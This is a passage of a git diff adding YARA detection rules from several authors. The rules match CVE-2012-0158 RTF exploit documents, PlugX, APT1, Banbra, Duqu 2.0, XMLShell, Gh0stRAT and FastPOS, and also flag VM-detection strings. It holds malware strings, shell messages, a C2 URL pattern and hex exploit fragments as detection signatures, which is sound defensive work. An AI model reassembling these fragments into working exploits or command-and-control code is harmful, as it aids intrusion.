+  condition:
+    ($a and $b) and Intel_Virtualization_Wizard_exe
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Zerk Labs/Zerk_Labs_index.yara b/yara-mikesxrs/Zerk Labs/Zerk_Labs_index.yara
new file mode 100644
index 0000000..0789321
--- /dev/null
+++ b/yara-mikesxrs/Zerk Labs/Zerk_Labs_index.yara	
@@ -0,0 +1,111 @@
+rule CVE_2012_0158_1 {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "ListView OCX Exploit"
+    url = "http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158"
+
+    file_1 = "Statement ID 4657-345-347-0332.doc"
+    file_1_seen = "2013-05-09"
+    file_1_sha256 = "807a355c641eb6e1de81757c31d711df1cd01f5858814091d8655ca1e6bdd538"
+
+    file_2 = "BOA statement id 454-33-2463.doc"
+    file_2_seen = "2013-05-13"
+    file_2_sha256 = "9c9627490fcae513ca0461737c981a7bd4a2a18d50d4aef5ba66d780141f1a27"
+
+  strings:
+    $a = { 64 30 63 66 31 31 65 30 61 31 62 31 31 61 65 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 33 65 30 30 30 33 30 30 66 65 66 66 30 39 30 30 30 36 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 31 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 30 30 30 30 66 65 66 66 66 66 66 66 30 30 30 30 30 30 30 30 66 65 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $b = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $c = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $d = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $e = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 64 66 66 66 66 66 66 66 65 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $f = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $g = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $h = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 }
+    $i = { 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 35 32 30 30 36 66 30 30 36 66 30 30 37 34 30 30 32 30 30 30 34 35 30 30 36 65 30 30 37 34 30 30 37 32 30 30 37 39 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 36 30 30 30 35 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 63 36 61 64 39 38 38 39 32 66 31 64 34 31 31 61 36 35 66 30 30 34 30 39 36 33 32 35 31 65 35 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 37 30 63 39 }
+    $j = { 61 38 63 34 30 30 34 63 63 65 30 31 66 65 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 }
+    $k = { 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 }
+    $l = { 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 66 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 }
+    $m = { 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 31 30 35 30 30 30 30 30 30 30 30 30 30 30 30 7D 7B 5C 6F 62 6A 65 63 74 5C 6F 62 6A 6F 63 78 7B 7B 5C 2A 5C 6F 62 6A 64 61 74 61 31 }
+
+  condition:
+    all of them
+}
+
+rule CVE_2012_0158_2 {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "RTF Stack Buffer Overflow Vulnerability"
+    url = "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158"
+
+    file_1 = "VAT Returns Repot 583387756.doc"
+    file_1_seen = "2013-05-16"
+    file_1_sha256 = "c6bdbe23857c0ca054d9fbc07f53ee0187b5ab6e86fea66091171e5b4268cb25"
+
+  strings:
+    $a = {30 31 30 35 30 30 30 30}
+    $b = {35 30 36 31 36 33 36 62 36 31 36 37 36 35 30 30}
+    $c = {31 36 37 37 30 33 30 30}
+    $d = {63 63 37 35 30 33 30 30 33 30 33 30 36 34 36 34 33 30 33 30 36 34 36 34 39 62 39 62}
+    $e = {32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62 32 62}
+  condition:
+    3 of ($a, $b, $c, $d, $e)
+}
+
+rule CVE_2012_0158_3 {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "RTF Stack Buffer Overflow Vulnerability"
+    url = "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0158"
+
+    file_1_seen = "2013-05-16"
+    file_1_sha256 = "60523591fe426f01a22584eab6844f7537220b786e7305296dc6bf52b7101326"
+
+    file_2_seen = "2013-05-16"
+    file_2_sha256 = "ccb738c0ee27704dc8738483cbb99de01160ab6a99277254c446bd46c781a708"
+
+  strings:
+    $a = "Marc Klenotic" wide
+
+    $b = "JoeSoft"
+    $c = "RSA1"
+    $d = "S4Ra"
+    $e = "CryptoAPI Private Key" wide
+    $f = "Export Flag" wide
+
+  condition:
+    $a or ($b and $c and $d and $e and $f)
+}
+
+rule Intel_Virtualization_Wizard_exe {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "Dynamic DLL abuse executable"
+
+    file_1_seen = "2013-05-21"
+    file_1_sha256 = "7787757ae851f4a162f46f794be1532ab78e1928185212bdab83b3106f28c708"
+
+  strings:
+    $a = {4C 6F 61 64 53 54 52 49 4E 47}
+    $b = {49 6E 69 74 69 61 6C 69 7A 65 4B 65 79 48 6F 6F 6B}
+    $c = {46 69 6E 64 52 65 73 6F 75 72 63 65 73}
+    $d = {4C 6F 61 64 53 54 52 49 4E 47 46 72 6F 6D 48 4B 43 55}
+    $e = {68 63 63 75 74 69 6C 73 2E 44 4C 4C}
+  condition:
+    all of them
+}
+
+rule Intel_Virtualization_Wizard_dll {
+  meta:
+    author = "cabrel@zerklabs.com"
+    description = "Dynamic DLL (Malicious)"
+
+    file_1_seen = "2013-05-21"
+    file_1_sha256 = "485ae043b6a5758789f1d33766a26d8b45b9fde09cde0512aa32d4bd1ee04f28"
+
+  strings:
+    $a = {48 3A 5C 46 61 73 74 5C 50 6C 75 67 28 68 6B 63 6D 64 29 5C}
+    $b = {64 6C 6C 5C 52 65 6C 65 61 73 65 5C 48 69 6A 61 63 6B 44 6C 6C 2E 70 64 62}
+
+  condition:
+    ($a and $b) and Intel_Virtualization_Wizard_exe
+}
diff --git a/yara-mikesxrs/abhinavbom/APT.yara b/yara-mikesxrs/abhinavbom/APT.yara
new file mode 100644
index 0000000..6f8ed11
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/APT.yara
@@ -0,0 +1,37 @@
+
+
+//PlugX APT Malware
+
+rule PlugXXOR
+{
+meta:
+     author = "@abhinavbom"
+     maltype = "NA"
+     version = "0.1"
+     date = "21/09/2015"
+     description = "rule for PlugX XOR Routine"
+     ref1 = "7048add2873b08a9693a60135f978686"
+strings:
+     $hex_string = { 05 ?? ?? 00 00 8A D8 2A DC 89 45 FC 32 5D FE 81 E9 ?? ?? 00 00 2A 5D FF 89 4D F8 32 D9 2A DD 32 5D FA 2A 5D FB 32 1C 37 88 1E 46 4A 75 D2 5F 5B }
+condition:
+     all of them
+}
+ 
+ //APT1-Group Rule for sample used during exercise
+ 
+rule BOUNCER_APT1 {
+meta:
+     author = "@abhinavbom"
+     maltype = "NA"
+     version = "0.1"
+     date = "21/09/2015"
+     info = "CommentCrew-threat-apt1"
+strings:
+     $s1 = "*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg" wide ascii
+     $s2 = "IDR_DATA%d" wide ascii
+     $s3 = "asdfqwe123cxz" wide ascii
+     $s4 = "Mode must be 0(encrypt) or 1(decrypt)." wide ascii
+condition:
+     ($s1 and $s2) or ($s3 and $s4)
+
+}
diff --git a/yara-mikesxrs/abhinavbom/Banbra-banker.yara b/yara-mikesxrs/abhinavbom/Banbra-banker.yara
new file mode 100644
index 0000000..2cdf34d
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/Banbra-banker.yara
@@ -0,0 +1,17 @@
+rule banbra : banker
+{
+meta: 
+    author = "@abhinavbom"
+    maltype = "NA"
+    version = "0.1"
+    date = "8/06/2015"
+strings: 
+    $a = "senha" fullword nocase
+    $b = "cartao" fullword nocase
+    $c = "caixa" 
+    $d = "login" fullword nocase
+    $e = ".com.br"
+
+condition:
+    #a > 3 and #b > 3 and #c > 3 and #d > 3 and #e > 3              
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/abhinavbom/Duqu2-0.yara b/yara-mikesxrs/abhinavbom/Duqu2-0.yara
new file mode 100644
index 0000000..33119cb
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/Duqu2-0.yara
@@ -0,0 +1,30 @@
+*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.
+
+*/
+
+/* Certificate Matches for Patterns seen in Duqu 2.0 infection */
+
+/* https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf */
+
+import "pe"
+rule honhaicert_goodcheck {
+  strings:
+    $honhai = "HON HAI"
+  condition:
+    $honhai and pe.version_info["LegalCopyright"] contains "Microsoft"
+}
+
+
+
+rule sysinternals_not_signed
+{
+strings:
+       $sysinternals = "sysinternals" wide nocase
+       $mz = "MZ"
+       $url = "technet.microsoft.com" wide 
+       $castuff = "Microsoft Code Signing PCA" wide
+
+condition:
+       $mz at 0 and $sysinternals and ( not $castuff and not $url)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/abhinavbom/XMLshell.yara b/yara-mikesxrs/abhinavbom/XMLshell.yara
new file mode 100644
index 0000000..0b090bb
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/XMLshell.yara
@@ -0,0 +1,18 @@
+rule xmlshell{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "21/09/2015"
+    description = "strings within XMLShell used by CommentCrew"
+strings:
+	$STFail = "ST fail"
+	$STSucc = "ST Success"
+	$Proc = "Process cmd.exe exited"
+	$ShellSuccess = "Shell started successfully"
+	$ShellFail = "Shell started fail"
+	$KillFail = "Kill Fail"
+	$KillSucc = "Kill Success"
+condition:
+	all of them
+}
diff --git a/yara-mikesxrs/abhinavbom/abhinavbom_index.yara b/yara-mikesxrs/abhinavbom/abhinavbom_index.yara
new file mode 100644
index 0000000..a68b59a
--- /dev/null
+++ b/yara-mikesxrs/abhinavbom/abhinavbom_index.yara
@@ -0,0 +1,322 @@
+
+
+//PlugX APT Malware
+
+rule PlugXXOR
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "21/09/2015"
+     description = "rule for PlugX XOR Routine"
+     ref1 = "7048add2873b08a9693a60135f978686"
+strings:
+     $hex_string = { 05 ?? ?? 00 00 8A D8 2A DC 89 45 FC 32 5D FE 81 E9 ?? ?? 00 00 2A 5D FF 89 4D F8 32 D9 2A DD 32 5D FA 2A 5D FB 32 1C 37 88 1E 46 4A 75 D2 5F 5B }
+condition:
+     all of them
+}
+ 
+ 
+ //APT1-Group Rule for sample used during exercise
+ 
+rule BOUNCER_APT1 {
+meta:
+     author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "21/09/2015"
+     info = "CommentCrew-threat-apt1"
+strings:
+     $s1 = "*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg" wide ascii
+     $s2 = "IDR_DATA%d" wide ascii
+     $s3 = "asdfqwe123cxz" wide ascii
+     $s4 = "Mode must be 0(encrypt) or 1(decrypt)." wide ascii
+condition:
+     ($s1 and $s2) or ($s3 and $s4)
+
+}
+
+rule banbra : banker
+{
+meta: 
+    author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "8/06/2015"
+strings: 
+    $a = "senha" fullword nocase
+    $b = "cartao" fullword nocase
+    $c = "caixa" 
+    $d = "login" fullword nocase
+    $e = ".com.br"
+
+condition:
+    #a > 3 and #b > 3 and #c > 3 and #d > 3 and #e > 3              
+}
+
+/*
+    This Yara ruleset is under the GNU-GPLv2 license (http://www.gnu.org/licenses/gpl-2.0.html) and open to any user or organization, as long as you use it under this license.
+
+*/
+
+/* Certificate Matches for Patterns seen in Duqu 2.0 infection */
+
+/* https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf */
+
+import "pe"
+rule honhaicert_goodcheck {
+	strings:
+		$honhai = "HON HAI"
+	condition:
+		$honhai and pe.version_info["LegalCopyright"] contains "Microsoft"
+}
+
+
+
+rule sysinternals_not_signed
+{
+strings:
+       $sysinternals = "sysinternals" wide nocase
+       $mz = "MZ"
+       $url = "technet.microsoft.com" wide 
+       $castuff = "Microsoft Code Signing PCA" wide
+
+condition:
+       $mz at 0 and $sysinternals and ( not $castuff and not $url)
+}
+
+rule Gh0stRAT
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "21/09/2015"
+    description = "rule for Gh0stRAT 3.6 variant June 2015"
+    originalauthor = "John Petrequin (jpetrequin@wapacklabs.com)"
+    ref1 = "http://researchcenter.paloaltonetworks.com/2015/09/musical-chairs-multi-year-campaign-involving-new-variant-of-gh0st-malware/"
+    ref2= "1d7cb7250cf14ed2b9e1c99facba55df"
+strings:
+    $MZ = "MZ"
+    $a = "piano.dll"
+    $b1 = "Programed by Zhou Zhangfa" wide
+    $b2 = "Please check your Sound Galaxy card." wide
+condition:
+    $MZ and $a and any of ($b*)
+}
+
+rule FastPOS
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "06/10/2016"
+  description = "rule to detect FastPOS Mutex"
+  ref1 = "5aabd7876faba0885fccc8b4d095537bd048b6943aaacaf3e01d204450e787c6"
+
+strings:
+  $string1 = "uniqyeidclaxemain"
+  $string2 = "http://%s/cdosys.php"
+  
+condition:        
+  all of ($string*)
+  
+}
+
+//Rule to Catch Intelligence files in the meta of files uploaded. Current rule looks for NSA and MOSAD in meta of samples.
+
+rule catch_intelligence_files
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	date = "21/09/2015"
+    description = "catch files"
+strings:
+    $meta1 = "National Security Agency"
+    $meta3 = "Israeli Secret Intelligence"
+    $tag1 = "docx"
+	$tag2 = "doc"
+	$tag3 = "xls"
+	$tag4 = "xlxs"
+	$tag5 = "pdf"
+	$tag6 = "zip"
+	$tag7 = "rar"
+    $tag8 = "xlsb"
+
+condition:
+    any of ($meta*) and any of ($tag*)
+}
+
+//Rule to pick up all the pcaps uploaded to Virustotal. This rule can be very noisy. 
+
+rule FE_PCAPs
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "All pcaps uploaded to VT"
+	date = "29/07/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0
+}
+
+//Rule to detect all pcap uploads to Virustotal with +3 detection.
+
+rule pcap_positives
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "All pcaps uploaded to VT with +3 detection rate"
+	date = "21/06/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0 and positives > 3
+}
+
+//Rule to detect All pcaps submitted to VT and tagged as Exploit kits.
+
+rule ek_submissions				
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "Detects pcaps uploaded to VT and matches IDS detections for Exploit kits"
+	date = "23/06/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0 and tags contains "exploit-kit"
+}
+
+//EK detection in VT for +3 positive engine detections
+
+rule ek_submissions_2				
+{
+meta:
+	author = "@abhinavbom"
+	maltype = "NA"
+	version = "0.1"
+	description = "Detects pcaps uploaded to VT and matches IDS detections for Exploit kits"
+	date = "23/06/2015"
+strings:
+	$magic = {D4 C3 B2 A1}
+condition:
+	$magic at 0 and tags contains "exploit-kit" and positives >3
+}
+
+rule vmdetect_misc : vmdetect
+{
+	meta:
+    		author = "@abhinavbom"
+		maltype = "NA"
+		version = "0.1"
+		date = "31/10/2015"
+		description = "Following Rule is referenced from AlienVault's Yara rule repository.This rule contains additional processes and driver names."
+	strings:
+		$vbox1 = "VBoxService" nocase ascii wide
+		$vbox2 = "VBoxTray" nocase ascii wide
+		$vbox3 = "SOFTWARE\\Oracle\\VirtualBox Guest Additions" nocase ascii wide
+		$vbox4 = "SOFTWARE\\\\Oracle\\\\VirtualBox Guest Additions" nocase ascii wide
+
+		$wine1 = "wine_get_unix_file_name" ascii wide
+
+		$vmware1 = "vmmouse.sys" ascii wide
+		$vmware2 = "VMware Virtual IDE Hard Drive" ascii wide
+
+		$miscvm1 = "SYSTEM\\ControlSet001\\Services\\Disk\\Enum" nocase ascii wide
+		$miscvm2 = "SYSTEM\\\\ControlSet001\\\\Services\\\\Disk\\\\Enum" nocase ascii wide
+
+		// Drivers
+		$vmdrv1 = "hgfs.sys" ascii wide
+		$vmdrv2 = "vmhgfs.sys" ascii wide
+		$vmdrv3 = "prleth.sys" ascii wide
+		$vmdrv4 = "prlfs.sys" ascii wide
+		$vmdrv5 = "prlmouse.sys" ascii wide
+		$vmdrv6 = "prlvideo.sys" ascii wide
+		$vmdrv7 = "prl_pv32.sys" ascii wide
+		$vmdrv8 = "vpc-s3.sys" ascii wide
+		$vmdrv9 = "vmsrvc.sys" ascii wide
+		$vmdrv10 = "vmx86.sys" ascii wide
+		$vmdrv11 = "vmnet.sys" ascii wide
+
+		// SYSTEM\ControlSet001\Services
+		$vmsrvc1 = "vmicheartbeat" ascii wide
+		$vmsrvc2 = "vmicvss" ascii wide
+		$vmsrvc3 = "vmicshutdown" ascii wide
+		$vmsrvc4 = "vmicexchange" ascii wide
+		$vmsrvc5 = "vmci" ascii wide
+		$vmsrvc6 = "vmdebug" ascii wide
+		$vmsrvc7 = "vmmouse" ascii wide
+		$vmsrvc8 = "VMTools" ascii wide
+		$vmsrvc9 = "VMMEMCTL" ascii wide
+		$vmsrvc10 = "vmware" ascii wide
+		$vmsrvc11 = "vmx86" ascii wide
+		$vmsrvc12 = "vpcbus" ascii wide
+		$vmsrvc13 = "vpc-s3" ascii wide
+		$vmsrvc14 = "vpcuhub" ascii wide
+		$vmsrvc15 = "msvmmouf" ascii wide
+		$vmsrvc16 = "VBoxMouse" ascii wide
+		$vmsrvc17 = "VBoxGuest" ascii wide
+		$vmsrvc18 = "VBoxSF" ascii wide
+		$vmsrvc19 = "xenevtchn" ascii wide
+		$vmsrvc20 = "xennet" ascii wide
+		$vmsrvc21 = "xennet6" ascii wide
+		$vmsrvc22 = "xensvc" ascii wide
+		$vmsrvc23 = "xenvdb" ascii wide
+
+		// Processes
+		$miscproc1 = "vmware2" ascii wide
+		$miscproc2 = "vmount2" ascii wide
+		$miscproc3 = "vmusrvc" ascii wide
+		$miscproc4 = "vmsrvc" ascii wide
+		$miscproc5 = "vboxservice" ascii wide
